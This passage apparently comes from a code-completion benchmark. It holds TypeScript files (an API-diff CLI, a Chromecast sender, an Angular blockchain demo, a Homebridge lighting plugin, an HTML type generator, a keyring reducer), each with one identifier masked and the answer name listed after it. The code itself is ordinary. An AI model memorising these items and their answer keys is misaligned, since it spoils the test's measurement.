      case 6:
        return $r('app.string.saturday');
        break;
      default:
        break;
    }
  }
}

let dateTimeCommon = new DateTimeCommon();

export default dateTimeCommon as DateTimeCommon
",isUsing24hFormat
523,"/**
 * @license
 * Copyright 2024 <NAME>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { Command } from ""@commander-js/extra-typings"";
import { execSync } from ""child_process"";
import { existsSync } from ""fs"";
import { copyFile, unlink, writeFile } from ""fs-extra"";
import { err } from ""./util"";
import { promiseTry } from ""./util/promises"";
import { codeBlock, inlineCode } from ""./util/string"";

export const diffCommand = new Command(""diff"")
  .description(""Generate a diff of the current API."")
  .argument(""<input>"", ""Path to the current `.api.md` file."")
  .option(""-o, --ouput <string>"", ""Save diff to an output file"")
  .option(
    ""--report"",
    ""Generate an API report, suitable for a GitHub comment, instead of a basic diff""
  )
  .action(async (input, options) => {
    if (!existsSync(input)) {
      err(`API file does not exist at path:\n${input}`);
    }

    const backup = await backupFile(input);

    console.log(""Exporting new api file"");

    const diff: string = await runCommand(`pnpm run api:update`)
      .then(() => generateDiff(backup, input))
      .then((diff) => (options.report ? generateReport(diff) : diff))
      .finally(() => restoreFile(backup, input));

    if (diff === """") {
      console.log(""API file is up-to-date, no diff found."");
      return;
    }

    if (options.ouput) {
      await writeFile(options.ouput, diff);

      console.log(`Diff saved to ${options.ouput}`);
    } else {
      console.log(diff);
    }
  });

async function generateReport(diff: string) {
  if (diff.length === 0) return """";

  return `Your change includes changes that impact the public API.

Please run ${inlineCode(""pnpm run api:update"")} to update the public API file.

**API Diff**
${codeBlock(diff, ""diff"")}
`;
}

async function backupFile(path: string) {
  const backup = `${path}.backup`;

  return copyFile(path, backup).then(() => backup);
}

async function restoreFile(backup: string, original: string) {
  await copyFile(backup, original);
  await unlink(backup);
}

async function runCommand(command: string) {
  return promiseTry(() => execSync(command, { encoding: ""utf8"" }));
}

async function generateDiff(oldFile: string,  [MASK] : string) {
  console.log(""Generating diff"");

  return runCommand(`git diff --no-index ${oldFile} ${ [MASK] } || true`);
}
",newFile
524,"import EventEmitter from './util/EventEmitter';
import { PlaybackState } from '@eyevinn/web-player-core';
import type { IPlayerState } from '@eyevinn/web-player-core';

const LIVE_EDGE = 20; // seconds from edge considered live
const LIVE_SEEKABLE_MIN_DURATION = 300; // require 5 min to allow seeking on live content

let castInitPromise: Promise<void>;
export function initializeCast(
  appId?: string,
  autoJoinPolicy?: chrome.cast.AutoJoinPolicy
) {
  return castInitPromise
    ? castInitPromise
    : (castInitPromise = new Promise((resolve, reject) => {
        window['__onGCastApiAvailable'] = (isAvailable) => {
          if (isAvailable) {
            cast.framework.CastContext.getInstance().setOptions({
              receiverApplicationId:
                appId || chrome.cast.media.DEFAULT_MEDIA_RECEIVER_APP_ID,
              autoJoinPolicy:
                autoJoinPolicy || chrome.cast.AutoJoinPolicy.PAGE_SCOPED,
            });
            resolve();
          } else {
            reject(new Error('[Cast] not available'));
          }
        };

        const castScript = document.createElement('script');
        castScript.src =
          '//www.gstatic.com/cv/js/sender/v1/cast_sender.js?loadCastFramework=1';
        document.body.appendChild(castScript);
      }));
}

export enum CastSenderEvent {
  CONNECTED = 'cast:connected',
  DISCONNECTED = 'cast:disconnected',
  STATE_CHANGE = 'cast:state_change',
}

export class CastSender extends EventEmitter {
  private state: IPlayerState = {
    playbackState: PlaybackState.IDLE,
    currentTime: 0,
    duration: 0,
    isLive: false,
    isAtLiveEdge: false,
    isSeekable: true,
    isMuted: false,
    audioTracks: [],
    textTracks: [],
    volume: 1,
  };

  private player: cast.framework.RemotePlayer;
  private playerController: cast.framework.RemotePlayerController;

  constructor(appId: string, autoJoinPolicy?: chrome.cast.AutoJoinPolicy) {
    super();
    initializeCast(appId, autoJoinPolicy).then(
      () => {
        this.player = new cast.framework.RemotePlayer();
        this.playerController = new cast.framework.RemotePlayerController(
          this.player
        );

        this.setupListeners();
      },
      (e) => console.error(e)
    );
  }

  private setState(newState) {
    this.state = Object.assign({}, this.state, newState);
    this.emit(CastSenderEvent.STATE_CHANGE, { state: this.state });
  }

  private getPlaybackStateFromPlayerState(playerState: string): PlaybackState {
    switch (playerState) {
      case chrome.cast.media.PlayerState.BUFFERING:
        return PlaybackState.BUFFERING;
      case chrome.cast.media.PlayerState.PAUSED:
        return PlaybackState.PAUSED;
      case chrome.cast.media.PlayerState.PLAYING:
        return PlaybackState.PLAYING;
      case chrome.cast.media.PlayerState.IDLE:
        return PlaybackState.IDLE;
    }
  }

  private getDuration() {
    return this.player.liveSeekableRange
      ? this.player.liveSeekableRange.end
      : this.player.duration;
  }

  setupListeners() {
    const context = cast.framework.CastContext.getInstance();
    context.addEventListener(
      cast.framework.CastContextEventType.SESSION_STATE_CHANGED,
      (event) => {
        switch (event.sessionState) {
          case cast.framework.SessionState.SESSION_STARTED:
          case cast.framework.SessionState.SESSION_RESUMED:
            this.emit(CastSenderEvent.CONNECTED);
            this.setState({
              playbackState: PlaybackState.READY,
              isMuted: this.player.isMuted,
            });
            break;
          case cast.framework.SessionState.SESSION_ENDED:
            this.emit(CastSenderEvent.DISCONNECTED);
            this.setState({
              playbackState: PlaybackState.IDLE,
            });
            break;
        }
      }
    );

    this.playerController.addEventListener(
      cast.framework.RemotePlayerEventType.ANY_CHANGE,
      ({ field, value }) => {
        switch (field) {
          case 'currentTime':
            this.setState({
              currentTime: value,
              isAtLiveEdge: value >= this.state.duration - LIVE_EDGE,
            });
            break;
          case 'duration':
            this.setState({ duration: value });
            break;
          case 'playerState':
            {
              const playbackState = this.getPlaybackStateFromPlayerState(value);
              this.setState({
                playbackState,
              });
              if (playbackState === PlaybackState.IDLE) {
                this.stop();
              }
            }
            break;
          case 'liveSeekableRange':
            if (value) {
              this.setState({
                isLive: !value.isLiveDone,
                duration: value.end - value.start,
                isSeekable:
                  value.end - value.start > LIVE_SEEKABLE_MIN_DURATION,
              });
            } else {
              this.setState({ isLive: false });
            }
            break;
        }
      }
    );
  }

  load(src: string, startTime: number = null) {
    const  [MASK]  = cast.framework.CastContext.getInstance().getCurrentSession();

    const mediaInfo = new chrome.cast.media.MediaInfo(src, 'video/mp4');
    const request = new chrome.cast.media.LoadRequest(mediaInfo);
    if (startTime) {
      request.currentTime = startTime;
    }
    return  [MASK] .loadMedia(request);
  }

  play() {
    this.playerController.playOrPause();
  }

  pause() {
    this.playerController.playOrPause();
  }

  stop() {
    this.playerController.stop();
  }

  mute() {
    this.playerController.muteOrUnmute();
  }

  unmute() {
    this.playerController.muteOrUnmute();
  }

  setAudioTrack() {
    // no-op
  }

  setTextTrack() {
    // no-op
  }

  seekTo({
    position,
    change,
    percentage,
  }: {
    position?: number;
    change?: number;
    percentage?: number;
  }) {
    if (percentage) {
      position = (Math.min(percentage, 99.9) / 100) * this.getDuration();
    } else if (change) {
      position = this.player.currentTime + change;
    }
    this.player.currentTime = position;
    this.playerController.seek();
  }
}
",castSession
525,"import { Component, OnInit } from '@angular/core';
import { ComposerPerishableGoodsService } from './composer.service';
import {Observable} from 'rxjs/Observable';
import * as moment from 'moment';
import { HttpClient, HttpHeaders, HttpErrorResponse } from '@angular/common/http';
import {EventCorrelationService} from './event-correlation.service';
import { environment } from '../environments/environment';
import { ReconnectingWebSocket } from './WebSocketClient';

declare var $: any;

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit {
  title = 'Smart Legal Contracts with IBM Blockchain, by Clause';
  urlStatus = 'UNSET';

  step = 0;
  readingCounter = 0;

  CLAUSE_API_REGEX = /https:\/\/api\.clause\.io\/api\/clauses\/([0-9a-z]{24})\/execute\?access_token=[0-9a-zA-Z]{64}/g;

  constructor(public service: ComposerPerishableGoodsService, private http: HttpClient, public events: EventCorrelationService) {}

  public reset( [MASK]  = false) {
    this.step = 0;
    this.readingCounter = 0;
    this.service.reset();
    if ( [MASK] ) {
      this.urlStatus = 'UNSET';
      this.service.data.shipment.smartClause = '';
    } else {
      this.validateClauseURL(null);
    }
  }

  public validateClauseURL(event) {
    console.log('validating URL');

    if (this.urlStatus === 'UNSET') {
      this.urlStatus = 'LOADING';
      $('#errorMessage').hide();

      // Trim any extra whitespace
      this.service.data.shipment.smartClause = this.service.data.shipment.smartClause.trim();

      // Does it match the regex pattern?
      if (this.CLAUSE_API_REGEX.exec(this.service.data.shipment.smartClause) === null) {
        this.urlStatus = 'INVALID';
        return;
      }
    }

    // Does it accept data?
    this.step += 1;
    const request = {
      '$class': 'org.accordproject.perishablegoods.ShipmentReceived',
      'unitCount': 3000,
      'shipment': {
          '$class': 'org.accordproject.perishablegoods.Shipment',
          'shipmentId': 'SHIP_001',
          'sensorReadings': [
              {
                  '$class': 'org.accordproject.perishablegoods.SensorReading',
                  'centigrade': 2,
                  'humidity': 80,
                  'shipment': 'resource:org.accordproject.perishablegoods.Shipment#SHIP_001',
                  'transactionId': 'a'
              },
              {
                  '$class': 'org.accordproject.perishablegoods.SensorReading',
                  'centigrade': 5,
                  'humidity': 90,
                  'shipment': 'resource:org.accordproject.perishablegoods.Shipment#SHIP_001',
                  'transactionId': 'b'
              },
              {
                  '$class': 'org.accordproject.perishablegoods.SensorReading',
                  'centigrade': 15,
                  'humidity': 65,
                  'shipment': 'resource:org.accordproject.perishablegoods.Shipment#SHIP_001',
                  'transactionId': 'c'
              }
          ]
      },
      'transactionId': '99c64b8a-b3b0-408a-8ec4-7820776cd447',
      'timestamp': '2018-02-18T11:11:41.264Z'
    };

    this.http.post(this.service.data.shipment.smartClause, request)
    .subscribe(() => {
      this.urlStatus = 'VALID';

      // Test connectivity to IBM Blockchain Platform
      this.step += 1;
      this.service.ping().subscribe(() => {

        // Create the Grower
        this.step += 1;
        this.service.addParticipant('Grower').subscribe((grower: any) => {
          this.events.transactionSent(grower.transactionId, () => {
            this.service.data.grower = grower.participant;
            this.service.getHistorian();
            this.step += 1;

            // Create the Importer
            this.service.addParticipant('Importer').subscribe((importer: any) => {
              this.events.transactionSent(importer.transactionId, () => {
                this.service.data.importer = importer.participant;
                this.service.getHistorian();
                this.step += 1;
              });
            }, err => { this.service.handleError(err); this.step *= -1; });
          });
        }, err => { this.service.handleError(err); this.step *= -1; });
      }, err => { this.service.handleError(err); this.step *= -1; });
    }, err => { this.service.handleError(err); this.step *= -1; }
  );
  }


  public addShipment() {
    this.service.addShipment().subscribe((shipment: any) => {
      this.events.transactionSent(shipment.transactionId, () => {
        this.service.data.shipment.status = this.service.Status.IN_TRANSIT;
        this.service.getHistorian();
        this.step = 6;
      });
    }, err => { this.service.handleError(err); this.step *= -1; });
  }

  public sendReceived() {
    this.service.sendReceived().subscribe((tx: any) => {
      this.events.transactionSent(tx.transactionId, () => {
        this.service.data.shipment.status = this.service.Status.ARRIVED;
        this.service.getParticipants();
        this.service.getHistorian();
        this.step = 8;
        $('html, body').stop().animate({
            scrollTop: ($('#complete').offset().top - 400)
        }, 1250, 'easeInOutExpo');
      });
    }, err => this.service.handleError(err));
  }

  public showAddReadingModal() {
    $('#new-reading-modal')
      .modal('show')
    ;
  }

  public addReading() {
    this.service.sendSensorReading().subscribe((tx: any) => {
      this.events.transactionSent(tx.transactionId, () => {
        this.service.getHistorian();
        this.readingCounter += 1;
      });
    }, err => this.service.handleError(err));
  }

  public fromNow(date) {
    return moment(date).fromNow();
  }

  public extractTypeFromFQType(fqt) {
    const xs = fqt.split('.');
    return xs[xs.length - 1];
  }



  public draftedContract() {
    this.step = 1;
  }

  public buildChecklistStyle(step) {
    return {
      'minus': this.step >= 0 && this.step < step,
      'times': this.step === -(step),
      'red': this.step === -(step),
      'check': this.step > step,
      'green': this.step > step,
      'spin spinner': this.step === step,
    };
  }

  public ngOnInit() {

    let wsProtocol = 'wss:';
    if (window.location.protocol === 'http:') {
      wsProtocol = 'ws:';
    }
    const connection = new ReconnectingWebSocket(`${wsProtocol}//${window.location.host}${environment.wsUrl}`);

    connection.onopen = function () {
      console.log('connected to websocket');
    };

    connection.onerror = function (error) {
      console.error(error);
    };

    connection.onmessage = (message) => {
        const json = JSON.parse(message.data);
        console.log(json);
        this.events.eventReceived(json.eventId);
    };

    $(document).ready(function() {

      // fix menu when passed
      $('.masthead')
      .visibility({
        once: false,
        onBottomPassed: function() {
          $('.fixed.menu').transition('fade in');
        },
        onBottomPassedReverse: function() {
          $('.fixed.menu').transition('fade out');
        }
      });

      // create sidebar and attach to menu open
      $('.ui.sidebar').sidebar('attach events', '.toc.item');

        $('.message .close')
          .on('click', function() {
            $(this)
            .closest('.message')
            .transition('fade')
            ;
          });

          $('.dropdown').dropdown();
          $('.ui.checkbox').checkbox();
      }
    );

    // jQuery for page scrolling feature - requires jQuery Easing plugin
    $('a.page-scroll').bind('click', function(event) {
      const $anchor = $(this);
      $('html, body').stop().animate({
          scrollTop: ($($anchor.attr('href')).offset().top - 50)
      }, 1250, 'easeInOutExpo');
      event.preventDefault();
    });

    this.service.ping();
    $('#errorMessage').hide();

  }
}
",clearClauseURL
526,"import { API, DynamicPlatformPlugin, Logger, PlatformAccessory, PlatformConfig, Service, Characteristic } from 'homebridge';

import { PLATFORM_NAME, PLUGIN_NAME } from './settings';
import { LutronHomeworksPlatformAccessory } from './platformAccessory';
import { SerialPort } from 'serialport';
import { ReadlineParser } from '@serialport/parser-readline';

export class LutronHomeworksPlatform implements DynamicPlatformPlugin {
  public readonly Service: typeof Service = this.api.hap.Service;
  public readonly Characteristic: typeof Characteristic = this.api.hap.Characteristic;

  public readonly accessories: PlatformAccessory[] = [];

  private port;
  private parser;
  private deviceHandlers = {};
  private devices = {};
  private ignoreDevices;
  private defaultFadeTime = 1;

  constructor(
    public readonly log: Logger,
    public readonly config: PlatformConfig,
    public readonly api: API,
  ) {
    this.log.debug('Finished initializing platform:', this.config.name);

    if ('devices' in this.config) {
      if (Array.isArray(this.config.devices)) {
        for (let i = 0; i < this.config.devices.length; i++) {
          if (typeof this.config.devices === 'object') {
            const x = this.config.devices[i];
            if ('address' in x) {
              this.devices[x.address] = {};
              if ('name' in x) {
                this.devices[x.address]['name'] = x['name'];
                this.log.debug('Found name ' + x['name'] + ' in customDevice ' + x.address);
              }
              if ('fadeTime' in x) {
                this.devices[x.address]['fadeTime'] = x['fadeTime'];
                this.log.debug('Found fadeTime ' + x['fadeTime'] + ' in customDevice ' + x.address);
              }
            } else {
              this.log.warn('customDevice at index ' + i + 'does not contain an address. Values: ' + this.config.devices[i]);
            }
          } else {
            this.log.warn('customDevice at index ' + i + 'is not an object. Values: ' + this.config.devices[i]);
          }
        }
      } else {
        log.warn('Error processing devices from config. Make sure devices is of type Array.');
      }
    }

    if ('ignoreDevices' in this.config) {
      if (Array.isArray(this.config.ignoreDevices)) {
        this.ignoreDevices = this.config.ignoreDevices;
      } else {
        log.warn('Error processing ignoreDevices from config. Make sure ignoreDevices is of type Array.');
      }
    } else {
      this.ignoreDevices = [];
    }

    if ('defaultFadeTime' in this.config) {
      if (typeof this.config.defaultFadeTime === 'number') {
        this.defaultFadeTime = this.config.defaultFadeTime;
      } else {
        log.warn('Error processing defaultFadeTime from config. Make sure ignoreDevices is of type number.');
      }
    }

    this.port = new SerialPort({ path: this.config.serialPath as string, baudRate: this.config.baudRate as number ?? 115200 });
    this.parser = new ReadlineParser();
    this.port.pipe(this.parser);

    this.parser = this.port.pipe(new ReadlineParser({ delimiter: '\r' }));

    this.parser.on('data', data => {
      const line = data.toString('utf8');

      if (
        !line.includes('232') &&
        !line.includes('incorrect') &&
        !line.includes('Invalid') &&
        !line.includes('invalid') &&
        !line.includes('not in database')
      ) {
        this.log.debug(line);
        this.processLine(line);
      }
    });

    if (this.config.loginRequired) {
      this.port.write('LOGIN, ' + this.config.password + '\r');
    }

    this.api.on('didFinishLaunching', () => {
      log.debug('Executed didFinishLaunching callback');
      this.discoverDevices();
    });
  }

  configureAccessory(accessory: PlatformAccessory) {
    this.log.debug('Loading accessory from cache:', accessory.context.name);
    this.accessories.push(accessory);
  }

  discoverDevices() {
    this.log.info('Starting device discovery');
    this.port.write('\r');
    this.port.write('DLMON\r');

    let a, b, c, d, e;

    for (a = 1; a <= 16; a++) {
      for (b = 4; b <= 6; b++) {
        for (c = 1; c <= 4; c++) {
          for (d = 1; d <= 12; d++) {
            for (e = 1; e <= 4; e++) {
              const address = '['
                + a.toString().padStart(2, '0') + ':'
                + b.toString().padStart(2, '0') + ':'
                + c.toString().padStart(2, '0') + ':'
                + d.toString().padStart(2, '0') + ':'
                + e.toString().padStart(2, '0') + ']';

              this.port.write('RDL, ' + address + '\r');
            }
          }
        }
      }
    }
    this.log.info('Finished device discovery');
  }

  addDevice(device: string, brightness: number) {
    this.log.debug('Starting initialization for device', device);

    const uuid = this.api.hap.uuid.generate(device);
    const  [MASK]  = this.accessories.find(accessory => accessory.UUID === uuid);

    if ( [MASK] ) {
      if (this.ignoreDevices.includes(device)) {
        this.log.info('Found existing device %s but is marked as an ignored device. Removing from system.',  [MASK] .context.name);
        this.api.unregisterPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [ [MASK] ]);
      } else {
        this.log.debug('Existing device %s not found in ignoreDevices. Adding to system.',  [MASK] .context.name);
        this.log.debug('Restoring existing accessory from cache: %s',  [MASK] .context.name);

        this.setContext( [MASK] , device);

        const accessoryHandler = new LutronHomeworksPlatformAccessory(this,  [MASK] );
        accessoryHandler.updateState(brightness);

        this.deviceHandlers[device] = accessoryHandler;
      }
    } else {
      if (this.ignoreDevices.includes(device)) {
        this.log.info('Found device ' + device + ' but is marked as an ignored device. Ignoring.');
      } else {
        this.log.debug('Existing device ' + device + ' not found in ignoreDevices. Adding to system.');
        this.log.info('Adding new accessory:', device);

        // create a new accessory
        const accessory = new this.api.platformAccessory(device, uuid);
        this.setContext(accessory, device);

        const accessoryHandler = new LutronHomeworksPlatformAccessory(this, accessory);
        this.api.registerPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [accessory]);

        accessoryHandler.updateState(brightness);

        this.deviceHandlers[device] = accessoryHandler;
      }
    }
  }

  updateDevice(address: string, brightness: number) {
    const accessoryHandler = this.deviceHandlers[address];
    accessoryHandler.updateState(brightness);

  }

  processLine(line: string) {
    if (line.includes('DL, ')) {
      this.log.debug('Recived line:', line);
      const sections = line.split(',');
      const address = sections[1].substring(2, sections[1].length - 1);
      const brightness = parseInt(sections[2]);
      this.log.debug(address + ',', brightness + '%');

      if (address in this.deviceHandlers) {
        this.log.debug(address, ': Existing device. Updating characteristics.');
        this.updateDevice(address, brightness);
      } else {
        this.log.debug(address, ': New device. Adding to homebridge.');
        this.addDevice(address, brightness);
      }
    }
  }

  setState(device: string, brightness: number, fadeTime: number) {
    this.port.write('FADEDIM, ' + brightness + ', ' + fadeTime + ', 0, [' + device + ']\r');
  }

  setContext(accessory: PlatformAccessory, device: string) {
    accessory.context.address = device;

    if (device in this.devices) {
      if ('name' in this.devices[device]) {
        if (this.devices[device]['name'] !== accessory.context.name) {
          this.log.info('Changing device %s name from %s -> %s', device, accessory.context.name, this.devices[device]['name']);
          accessory.context.name = this.devices[device]['name'];
        } else {
          this.log.debug('Device %s name in context matches name in config. No action taken.');
        }
      } else {
        this.log.debug('Setting name not set for device ' + device + '. Setting default name.');
        accessory.context.name = device;
      }

      if ('fadeTime' in this.devices[device]) {
        if (this.devices[device]['fadeTime'] !== accessory.context.fadeTime) {
          this.log.info('Changing device %s fade time from %s -> %s', 
            device, accessory.context.fadeTime, this.devices[device]['fadeTime']);
          accessory.context.fadeTime = this.devices[device]['fadeTime'];
        } else {
          this.log.debug('Device %s fadeTime in context matches name in config. No action taken.');
        }
      } else {
        this.log.debug('Setting fadeTime not set for device ' + device + '. Setting default fadeTime.');
        accessory.context.fadeTime = this.defaultFadeTime;
      }
    } else {
      this.log.debug('Device ' + device + ' not found in devices. Setting default name and fadeTime.');
      accessory.context.name = device;
      accessory.context.fadeTime = this.defaultFadeTime;
    }

    this.api.updatePlatformAccessories([accessory]);
  }
}",existingAccessory
527,"import * as fs from 'fs';
import * as yaml from 'js-yaml';
import prettier from 'prettier';

interface TypeDefObjectBase {
  type: string;
}
interface StringTypeDef extends TypeDefObjectBase {
  type: 'string';
}

interface BooleanTypeDef extends TypeDefObjectBase {
  type: 'boolean';
}

interface IntegerTypeDef extends TypeDefObjectBase {
  type: 'integer';
  signed: boolean;
}

interface RealTypeDef extends TypeDefObjectBase {
  type: 'real';
}

interface ListTypeDef extends TypeDefObjectBase {
  type: 'list';
  separator: string;
  ordered: boolean;
  unique: boolean;
  'member-values': ValSpec;
}

interface ConditionalTypeDef extends TypeDefObjectBase {
  when: string;
  values: ValSpec;
}

type TypeDefObject = TypeDefObjectBase | StringTypeDef | BooleanTypeDef | IntegerTypeDef | RealTypeDef | ListTypeDef;

type ValDef = string | TypeDefObject | ConditionalTypeDef;
type ValSpec = ValDef | ValSpec[];

const isTypeDefObject = (what: ValSpec): what is TypeDefObjectBase => {
  return typeof what === 'object' && !Array.isArray(what) && (what as TypeDefObjectBase).type !== undefined;
};

const isConditional = (what: ValSpec): what is ConditionalTypeDef => {
  return typeof what === 'object' && !Array.isArray(what) && (what as ConditionalTypeDef).when !== undefined;
};

interface EntityDetails {
  description: string;
  ref: string;
}

interface AttributeDetails extends EntityDetails {
  values: ValSpec;
}

interface EventDetails extends EntityDetails {
  interface: string;
}

interface ElemIFace {
  attributes: Record<string, AttributeDetails>;
  events: Record<string, EventDetails>;
}

interface ElemDetails extends EntityDetails, ElemIFace {
  description: string;
  ref: string;
  interface: string;
}

interface DomDef {
  namespace: string;
  version: {
    ref: string;
    pubdate: string;
  };

  elements: Record<string, ElemDetails>;
}

const htmlSpecFile = 'machine-standards/dom/html.yaml';
const htmlCodeFile = 'src/html.ts';

const loadSpec = async ( [MASK] : string) => {
  return yaml.load(await fs.promises.readFile( [MASK] , 'utf-8')) as DomDef;
};

const isReserved = (name: string) => {
  return ['var', 'class'].includes(name);
};

const dereserveName = (name: string) => {
  return isReserved(name) ? `${name}_` : name;
};

const bakeValueSpec = (spec: ValSpec): string => {
  let useWildcard = false;
  const types = new Set<string>();
  const enums = new Set<string>();
  const todo = [spec];

  while (todo.length > 0) {
    const current = todo.pop()!;
    if (typeof current === 'string') {
      if (current.startsWith('/') && current.endsWith('/')) {
        // For now, the presence of a regex leads to adding a string wildcard
        useWildcard = true;
      } else {
        enums.add(`""${current}""`);
      }
    } else if (Array.isArray(current)) {
      todo.push(...current);
    } else if (isConditional(current)) {
      todo.push(current.values);
    } else if (isTypeDefObject(current)) {
      switch (current.type) {
        case 'string':
          useWildcard = true;
          break;
        case 'boolean':
          types.add('boolean');
          break;
        case 'integer':
        case 'real':
          types.add('number');
          break;
        case 'list':
          useWildcard = true;
          break;
        default:
          throw new Error(`Unknown value type: ${current.type}`);
      }
    } else {
      throw new Error(`Undecipheral values: ${current}`);
    }
  }

  const members = [...types.keys(), ...enums.keys()];
  if (useWildcard) {
    if (members.length === 0) {
      // If it's wildcard and nothing else...
      return 'string';
    } else {
      members.push('({} & string)');
    }
  }
  return members.join(' | ');
};

const bakeAttribsType = (elemDetails: ElemIFace, interfaceName: string): string => {
  let result = '';
  result += '{\n';

  const attribNames = Object.keys(elemDetails.attributes).sort();
  const eventNames = Object.keys(elemDetails.events).sort();

  for (const name of attribNames) {
    const details = elemDetails.attributes[name];
    if (name.startsWith('on')) {
      throw new Error(`We currently assume that no attribute starts with ""on"", ${name} breaks this assumption`);
    }
    result += `  /** ${details.description}\n`;
    result += `  *\n`;
    result += `  * @see ${details.ref}\n`;
    result += `  */\n`;
    result += `  ""${name}""?: ` + bakeValueSpec(details.values) + ';\n\n';
  }

  for (const name of eventNames) {
    const details = elemDetails.events[name];
    result += `  /** ${details.description}\n`;
    result += `  *\n`;
    result += `  * @see ${details.ref}\n`;
    result += `  */\n`;
    result += `  ""on${name}""?: EventHandler<${interfaceName}, ${details.interface}>;\n\n`;
  }
  result += '}';
  return result;
};

const nonTrivialAttribs = (elemName: string, spec: DomDef) => {
  return (
    Object.keys(spec.elements[elemName].events).length > 0 || Object.keys(spec.elements[elemName].attributes).length > 0
  );
};
const attribTypeName = (elemName: string, spec: DomDef) => {
  if (nonTrivialAttribs(elemName, spec)) {
    return `${elemName}Attribs`;
  }

  return `GlobalAttributes<${spec.elements[elemName].interface}>`;
};

const produceMainFile = (spec: DomDef, globals: ElemIFace): string => {
  let result = '';
  const attribTypes: Record<string, string> = {};
  const factories: Record<string, string> = {};

  for (const [elemName, elemDetails] of Object.entries(spec.elements)) {
    attribTypes[elemName] = bakeAttribsType(elemDetails, elemDetails.interface);
    factories[elemName] = `elementFactory<HTMLElement, ${attribTypeName(
      elemName,
      spec
    )}>(domNamespace, '${elemName}');`;
  }

  result += ""import { EventHandler, create as domCreate } from './';\n\n"";
  result += `export const domNamespace = ""${spec.namespace}"";\n\n`;

  result += `type GlobalAttributes<IFace extends HTMLElement> = ${bakeAttribsType(globals, 'IFace')};\n\n`;

  for (const [elemName, v] of Object.entries(attribTypes)) {
    if (nonTrivialAttribs(elemName, spec)) {
      result += `/** Attributes for the ${elemName} element */\n`;
      result += `export type ${attribTypeName(elemName, spec)} = GlobalAttributes<${
        spec.elements[elemName].interface
      }> & ${v};\n\n`;
    }
  }

  result += '\n';
  result += 'export type ElementAttribsMap = {\n';
  for (const [elemName, _] of Object.entries(attribTypes)) {
    result += `  ""${elemName}"": ${attribTypeName(elemName, spec)};\n`;
  }
  result += '}\n\n';

  result += 'export type ElementInterfaceMap = {\n';
  for (const [elemName, v] of Object.entries(spec.elements)) {
    result += `  ""${elemName}"": ${v.interface};\n`;
  }
  result += '}\n\n';

  result += `export type Child = string | Element;\n\n`;

  result += `export const create = <Name extends keyof ElementInterfaceMap>(
    elemName: Name, 
    attribs: ElementAttribsMap[Name], 
    ...childs: Child[]) : ElementInterfaceMap[Name] => domCreate(domNamespace, elemName, attribs, ...childs);\n\n`;

  for (const [elemName, _] of Object.entries(factories)) {
    result += `/** ${spec.elements[elemName].description}\n`;
    result += `* @see ${spec.elements[elemName].ref}\n`;
    result += `*/\n`;
    result += `export const ${dereserveName(
      elemName
    )} = (attribs: ElementAttribsMap['${elemName}'], ...childs: Child[]) => create('${elemName}', attribs, ...childs);\n\n`;
  }
  return result;
};

const dedupe = (cache: Record<string, unknown>, candidate: Record<string, unknown>) => {
  const keysToRemove: string[] = [];
  for (const [k, v] of Object.entries(cache)) {
    if (!(k in candidate) || JSON.stringify(v) !== JSON.stringify(candidate[k])) {
      keysToRemove.push(k);
    }
  }

  for (const k of keysToRemove) {
    delete cache[k];
  }
};
const preprocessSpec = (spec: DomDef): ElemIFace => {
  const cache: ElemIFace = {
    attributes: {},
    events: {},
  };

  let first = true;
  for (const elem of Object.values(spec.elements)) {
    if (first) {
      cache.attributes = { ...elem.attributes };
      cache.events = { ...elem.events };
    } else {
      dedupe(cache.attributes, elem.attributes);
      dedupe(cache.events, elem.events);
    }
  }

  for (const elem of Object.values(spec.elements)) {
    for (const k of Object.keys(cache.attributes)) {
      delete elem.attributes[k];
    }
    for (const k of Object.keys(cache.events)) {
      delete elem.events[k];
    }
  }

  return cache;
};

const main = async () => {
  const prettierConfig = await prettier.resolveConfig(htmlCodeFile);
  if (!prettierConfig) {
    throw new Error('failed to find prettier config');
  }
  const html = await loadSpec(htmlSpecFile);
  const globals = preprocessSpec(html);
  const unformatted = produceMainFile(html, globals);
  const formatted = prettier.format(unformatted, { ...prettierConfig, filepath: htmlCodeFile });

  await fs.promises.writeFile(htmlCodeFile, formatted, 'utf-8');
};

main();

export {};
",specFile
528,"export type KeyringState = {
  is_locked: boolean;
  passphrase_support_enabled: boolean;
  can_save_passphrase: boolean;
  user_passphrase_set: boolean;
  needs_migration: boolean;
  migration_in_progress: boolean;
  migration_skipped: boolean;
  allow_empty_passphrase: boolean;
  min_passphrase_length: number;
};

const initialState: KeyringState = {
  is_locked: false,
  passphrase_support_enabled: false,
  can_save_passphrase: false,
  user_passphrase_set: false,
  needs_migration: false,
  migration_in_progress: false,
  migration_skipped: false,
  allow_empty_passphrase: false,
  min_passphrase_length: 0,
};

export default function keyringReducer(
  state = { ...initialState },
   [MASK] : any
): KeyringState {
  switch ( [MASK] .type) {
    case 'SKIP_KEYRING_MIGRATION':
      return {
        ...state,
        migration_skipped:  [MASK] .skip,
      };
    case 'INCOMING_MESSAGE':
      const { message } =  [MASK] ;
      const { data } = message;
      const { command } = message;
      if ((command === 'keyring_status') || (command === 'keyring_status_changed')) {
        if (data.success) {
          const { is_keyring_locked } = data;
          const { passphrase_support_enabled } = data;
          const { can_save_passphrase } = data;
          const { user_passphrase_is_set } = data;
          const { needs_migration } = data;
          const { passphrase_requirements } = data;
          const allow_empty_passphrase = passphrase_requirements?.is_optional || false;
          const min_passphrase_length = passphrase_requirements?.min_length || 10;
          return {
            ...state,
            is_locked: is_keyring_locked,
            passphrase_support_enabled: passphrase_support_enabled,
            can_save_passphrase: can_save_passphrase,
            user_passphrase_set: user_passphrase_is_set,
            needs_migration: needs_migration,
            allow_empty_passphrase: allow_empty_passphrase,
            min_passphrase_length: min_passphrase_length,
          };
        }
      } else if (command === 'unlock_keyring') {
        if (data.success) {
          return {
            ...state,
            is_locked: false,
          };
        }
        else {
          console.log(""Failed to unlock keyring: "" + data.error);
        }
      } else if (command === 'migrate_keyring') {
        // Clear the migration_in_progress flag
        state = {
          ...state,
